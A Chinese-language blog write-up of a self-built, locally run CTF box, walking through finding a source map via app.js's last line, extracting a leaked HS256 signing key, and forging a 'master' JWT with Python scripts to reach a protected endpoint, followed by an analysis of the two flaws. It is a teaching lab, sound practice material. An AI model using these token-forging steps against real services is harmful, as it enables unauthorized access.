> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# 駭客盲盒 #001：雲海劍宗 — 我要掌門真傳 (自創靶機)
- URL: https://taiwanding.com/hai-ke-mang-he-001-yun-hai-jian-zong-yi-xing-sourcemappingurl-huan-yi-juan-zhang-men-zhen-chuan/
- Published: 2026-08-03T06:54:43.000Z
- Updated: 2026-09-07T08:44:50.000Z
- Author: Kevin Chen
- Tags: 自製靶機, #vulnmachines, machine, 武俠

📚 系列文章 · 駭客盲盒 · 自創靶機

1. ▸ #001 雲海劍宗 — 我要掌門真傳 （本篇）
2. [#002 聽雨樓夜信 — 雨門信了第一個謊](https://taiwanding.com/hai-ke-mang-he-002-ting-yu-lou-ye-xin-yu-men-xin-liao-di-yi-ge-huang-zi-chuang-ba-ji/)
3. [#003 無燈城英雄帖 — 夜印從來不是通行證](https://taiwanding.com/hai-ke-mang-he-003-wu-deng-cheng-ying-xiong-tie-ye-yin-cong-lai-bu-shi-tong-xing-zheng-zi-chuang-ba-ji/)

🚩 這台靶機現在可以直接打

靶機已上架 肉's CTF，本文是完整通關解法——先去抓 flag，再回來對答案。

[前往 肉's CTF 開打 →](https://ctf.taiwanding.com/challenges?ref=taiwanding.com)

免費遊玩、免安裝，開瀏覽器就能打，題目持續增加中。

> 難度：Easy

## 序：這一盒裝了什麼

這是「駭客盲盒」系列的第一盒，也是我自創的第一個靶機，靶機都有經codex檢查過，歡迎下載遊玩\~

這一盒的名字叫**雲海劍宗，**外門弟子沈小石想讀到掌門真傳!

底下我會分成兩條線走，**解題的部分用「我們」**，一步一步把路走完；**設計的部分切回「我」**，聊聊每個機關當初為什麼那樣擺，想自己先玩的人，讀完「環境架設」就可以先關掉這篇。

[hacker-blindbox-003-yunhai-sword-secthacker-blindbox-003-yunhai-sword-sect.zip16 KBdownload-circle](https://taiwanding.com/content/files/2026/08/hacker-blindbox-003-yunhai-sword-sect.zip "Download")

## 一、環境架設

```bash
unzip hacker-blindbox-003-yunhai-sword-sect.zip
cd yunhai-sword-sect-box-003
docker compose up --build -d

```

跑起來後開瀏覽器：

```
http://127.0.0.1:8089/

```

**戒律三條**（沿用盒內說明）：

1. 只需對本地山門出手。
2. 無須窮舉令牌或暴力嘗試。
3. 線索皆在玩家可取得之處。

> 第二條不是禮貌提醒，是我主動幫玩家**砍掉一整條錯誤路線**。  
>  
> HS256 的靶機很容易讓人條件反射去跑 `hashcat` 爆密鑰，跑三小時無果然後罵街。我不想要那種挫折感——這盒考的是觀察力不是算力，所以我把它寫進戒律。等你讀到第五節就會發現，密鑰一直躺在你拿得到的地方。

## 二、初次踏訪：領一枚令牌

首頁是「外門試煉・第一關」，中央一顆按鈕：**向守山人領取令牌**。

點下去，網站簽發一枚 JWT，並且很貼心地幫你把 Header 與 Payload 攤開：

```json
// Header
{
  "alg": "HS256",
  "typ": "JWT"
}

// Payload
{
  "exp": 1785745134,
  "iat": 1785737934,
  "name": "沈小石",
  "rank": "outer",
  "sub": "outer-disciple-17"
}

```

頁面下方特別註明：「此處只將令牌可閱讀的兩段內容攤開，並未驗證簽章，也不會替你改動令牌。」

### 我們看到什麼

| 欄位        | 值                 | 解讀                             |
| --------- | ----------------- | ------------------------------ |
| alg       | HS256             | 對稱式簽章，簽與驗用同一把密鑰。只要密鑰洩漏，令牌就任你捏造 |
| rank      | outer             | **這是目標**。權限欄位擺在明面上，擺明是給你改的     |
| sub       | outer-disciple-17 | 身分識別                           |
| exp - iat | 7200              | 兩小時有效，時間充裕，不必急著重領              |

HS256 加上一個叫 `rank` 的欄位，路線圖幾乎自己浮出來了：**想辦法簽一張 `rank` 更高的令牌**。

問題是，密鑰在哪？

> 那句「並未驗證簽章，也不會替你改動令牌」是我故意寫的。  
>  
> 表面上是免責聲明，實際上在暗示一件事：**這個解碼器是純前端的，它只做 base64 decode，** 想改令牌？自己來，我把工具給你、把欄位攤開給你看，但那把鎖得你自己去找。  
>  
> 有效期設 7200 秒也是刻意的，太短玩家會一直重領、心浮氣躁；太長又少了「令牌會過期」的臨場感，兩小時剛好夠一輪從容的 recon。

## 三、真正的線索：守山人隨筆

頁面角落有一段像是氛圍文字的東西：

> 「江湖有一張被遺忘的地圖，不一定畫山川。」 —— 字跡潦草，墨痕像是從某份舊卷末尾拓下來的。

這種東西很容易被當裝飾跳過，但在自製靶機裡，**敘事文字往往就是提示本體，**拆開來看，兩句話塞了三個變數：

- **「地圖」** —— 網站脈絡下，最直覺的聯想是 `sitemap.xml`
- **「不一定畫山川」** —— 但它主動否定了地理義，這是關鍵修飾語
- **「舊卷末尾」** —— 東西藏在某個檔案的**最後面**

先照最直覺的猜法試一次：

```bash
curl -sS http://127.0.0.1:8089/robots.txt
curl -sS http://127.0.0.1:8089/sitemap.xml

```

```json
{"error":"not_found"}
{"error":"not_found"}

```

死路。

### 死路也是情報

換上令牌再試一次，以及換各種帶法（Bearer、raw、Cookie、自訂 header、query string），全部回同一個 404、同樣 21 bytes：

```bash
U=http://127.0.0.1:8089/sitemap.xml
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Authorization: Bearer $TOKEN" $U
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" -H "Cookie: token=$TOKEN" $U
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" "$U?token=$TOKEN"
# 全部 404 21

```

長度一致代表**不是權限攔截，是路由根本沒註冊，**這兩個檔案是真的不存在。

但這一輪 recon 撈到兩個有用的東西，先看完整 response header：

```http
HTTP/1.0 404 Not Found
Server: YunhaiGate/1.0
Content-Security-Policy: default-src 'self'; img-src 'self' data:;
  style-src 'self' 'unsafe-inline'; script-src 'self'; object-src 'none';
  base-uri 'none'; frame-ancestors 'none'; form-action 'self'
Content-Type: application/json; charset=utf-8

```

安全標頭本身就是情報——這點在真實 recon 裡很常被忽略，防禦性配置在保護你的同時，也在描述你的架構長什麼樣。

## 四、順著 JS 挖下去

```bash
curl -sS http://127.0.0.1:8089/ | grep -Eo '(src|href)="[^"]+"'

```

```
href="/static/style.css"
src="/static/app.js"

```

跟 CSP 推論一致。看看這支 JS 的**末尾**——別忘了「舊卷末尾」：

```bash
curl -sS http://127.0.0.1:8089/static/app.js | tail -8

```

```javascript
  requestButton.addEventListener("click", requestEntryPass);
  copyButton.addEventListener("click", copyToken);
})();
//# sourceMappingURL=/static/app.js.map

```

**中了。**

回頭看那句謎語，現在每個字都對上了：

- 「地圖」→ **map** 檔
- 「不一定畫山川」→ 不是 sitemap，是 **source map**
- 「從某份舊卷**末尾**拓下來」→ `sourceMappingURL` 註解永遠寫在 JS 檔案的**最後一行**

順手也確認 API 路徑：

```bash
curl -sS http://127.0.0.1:8089/static/app.js | grep -Eo '"/[a-zA-Z0-9_/.:-]+"' | sort -u
# "/"
# "/api/entry-pass"

```

## 五、開圖：source map 裡躺著什麼

```bash
curl -sS http://127.0.0.1:8089/static/app.js.map -o app.js.map
python3 -m json.tool app.js.map

```

只有 1219 bytes，但內容非常豐盛：

```json
{
  "version": 3,
  "file": "app.js",
  "sources": ["webpack://yunhai-player/./legacy/deployment-config.ts"],
  "sourcesContent": ["..."],
  "x_legacy_deployment": {
    "SIGNING_KEY": "yunhai-sect-ink-seal-1739",
    "VAULT_ENDPOINT": "/vault/scroll",
    "REQUIRED_RANK": "master",
    "AUTH_HEADER": "Authorization: Bearer <token>",
    "context": "1739 版舊山門部署設定；僅供除錯，不含最終 flag。"
  }
}

```

把 `sourcesContent` 倒出來還原原始碼：

```bash
python3 - <<'EOF'
import json, os
m = json.load(open('app.js.map'))
os.makedirs('src', exist_ok=True)
for name, content in zip(m['sources'], m.get('sourcesContent') or []):
    if content is None: continue
    p = 'src/' + os.path.basename(name)
    open(p, 'w').write(content)
    print(f"[+] {p}  ({len(content)} bytes)")
EOF

```

得到 `src/deployment-config.ts`：

```typescript
/**
 * 雲海劍宗玩家端・舊版部署設定
 *
 * 這份設定曾供試煉環境的前端診斷工具使用。改版時已不再由主程式匯入，
 * 但 1739 版的建置流程仍將原始碼收進除錯地圖，留待舊山門追查部署問題。
 * 注意：這不是最終劍譜內容，也不含任何旗標。
 */

export const SIGNING_KEY = 'yunhai-sect-ink-seal-1739';
export const VAULT_ENDPOINT = '/vault/scroll';
export const REQUIRED_RANK = 'master';
export const AUTH_HEADER = 'Authorization: Bearer <token>';

// 舊版驗收筆記：內院端點會依簽章與 rank 判定是否交付掌門卷軸。
// 呼叫格式：GET VAULT_ENDPOINT，並以 AUTH_HEADER 樣式夾帶江湖令牌。

```

四塊拼圖一次到齊：

| 拿到的東西 | 值                             |
| ----- | ----------------------------- |
| 簽章密鑰  | yunhai-sect-ink-seal-1739     |
| 目標端點  | /vault/scroll                 |
| 所需身分  | rank: master                  |
| 帶法    | Authorization: Bearer <token> |

回頭看戒律第二條「無須窮舉令牌或暴力嘗試」，現在完全說得通。

## 六、自簽掌門令牌

密鑰在手，直接簽一張 `rank: master`：

```python
import jwt, time

now = int(time.time())
payload = {
    "exp": now + 7200,
    "iat": now,
    "name": "沈小石",
    "rank": "master",
    "sub": "outer-disciple-17",
}
print(jwt.encode(payload, "yunhai-sect-ink-seal-1739", algorithm="HS256"))

```

不想裝 `pyjwt` 的話，純標準庫版本也就十行：

```python
import base64, hmac, hashlib, json, time

b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
enc = lambda d: b64(json.dumps(d, separators=(',', ':'), ensure_ascii=False).encode())

now = int(time.time())
h = {"alg": "HS256", "typ": "JWT"}
p = {"exp": now + 7200, "iat": now, "name": "沈小石",
     "rank": "master", "sub": "outer-disciple-17"}

msg = f"{enc(h)}.{enc(p)}"
sig = b64(hmac.new(b"yunhai-sect-ink-seal-1739", msg.encode(), hashlib.sha256).digest())
print(f"{msg}.{sig}")

```

叩門：

```bash
MASTER='<剛才印出來的令牌>'
curl -sSi -H "Authorization: Bearer $MASTER" http://127.0.0.1:8089/vault/scroll

```

```http
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8

```

石門開了。

## 八、完整攻擊鏈

```
首頁領取 JWT（HS256, rank=outer）
   │
   │  「地圖不畫山川，墨痕從舊卷末尾拓下」
   ▼
/static/app.js 最後一行 → //# sourceMappingURL
   │
   ▼
/static/app.js.map ← 部署時誤打包的 legacy config
   │
   │  洩漏 SIGNING_KEY / VAULT_ENDPOINT / REQUIRED_RANK
   ▼
自簽 rank=master 的 JWT
   │
   ▼
GET /vault/scroll  →  🚩 flag

```

## 十、漏洞剖析：兩個問題疊起來才致命

這一盒我真正想講的，不是「source map 會洩漏東西」這麼單薄的一句話，**它是兩層缺陷相乘的結果**，任何一層補起來，攻擊鏈都會斷。

### 第一層：建置產物洩漏憑證

`.map` 檔跟著 production 一起上線，而且裡面躺著 hardcode 的簽章密鑰。

這不是虛構，是**真實世界的漏洞，**前端 build pipeline 預設就會生 source map，團隊忘記在 production 關掉，或是關掉了但 CDN 上還留著舊版，裡面通常有：

- 未混淆的原始碼與完整目錄結構
- 內部 API 路徑、尚未公開的 feature flag
- 註解、TODO、開發者的內部討論
- 有時候，就是憑證本身

**`.js.map` 應該進你的固定 recon checklist，**抓到 JS 就 `tail` 一下最後一行，成本兩秒鐘。

### 第二層：完全信任 client-side claim

這一層其實更嚴重。

後端**只看 JWT 裡的 `rank` 欄位就決定要不要交付卷軸**，沒有回頭確認 `sub=outer-disciple-17` 這個身分實際上該有什麼權限。

意思是：就算密鑰沒洩漏，只要哪天它因為別的原因外流——Git commit、環境變數 dump、log 洩漏、離職員工——整個授權模型就直接歸零，權限判定完全建立在「令牌沒被偽造」這個單一假設上，沒有第二道防線。

**JWT 是身分證明，不是權限證明。** 這兩件事在很多實作裡被混為一談。

> 我把兩層缺陷疊在一起，是因為**只講第一層會誤導人**。  
>  
> 如果這盒只考 source map 洩漏，玩家的結論會是「關掉 source map 就沒事了」——那是錯的，那只是把密鑰藏得深一點而已，真正的架構問題是後端無條件相信 token 裡的 `rank`，而這個問題在密鑰洩漏之前就已經存在了，只是沒被觸發。  
>  
> 這也是我設計盲盒時的一個原則：**flag 要能拿，但拿到之後得有東西可以想，**單一漏洞的靶機解完就沒了，兩層疊加的才會逼你去問「所以到底哪裡錯了」。

## 結語

這一盒我想考的其實是**閱讀**。

`robots.txt` 跟 `sitemap.xml` 的死路是刻意鋪的，測的是你會不會被字面意思綁住；CSP 標頭是免費送的架構情報，測的是你會不會讀 response header；那句「不一定畫山川」是整關的樞紐，測的是你會不會把敘事文字當提示看。

工具能幫你跑完所有路徑，但**跑完不等於讀完**。

山門已開，下一盒再見。

*本文為自製靶機 writeup，靶機僅供本地學習使用，請勿將文中技巧用於未經授權的目標。*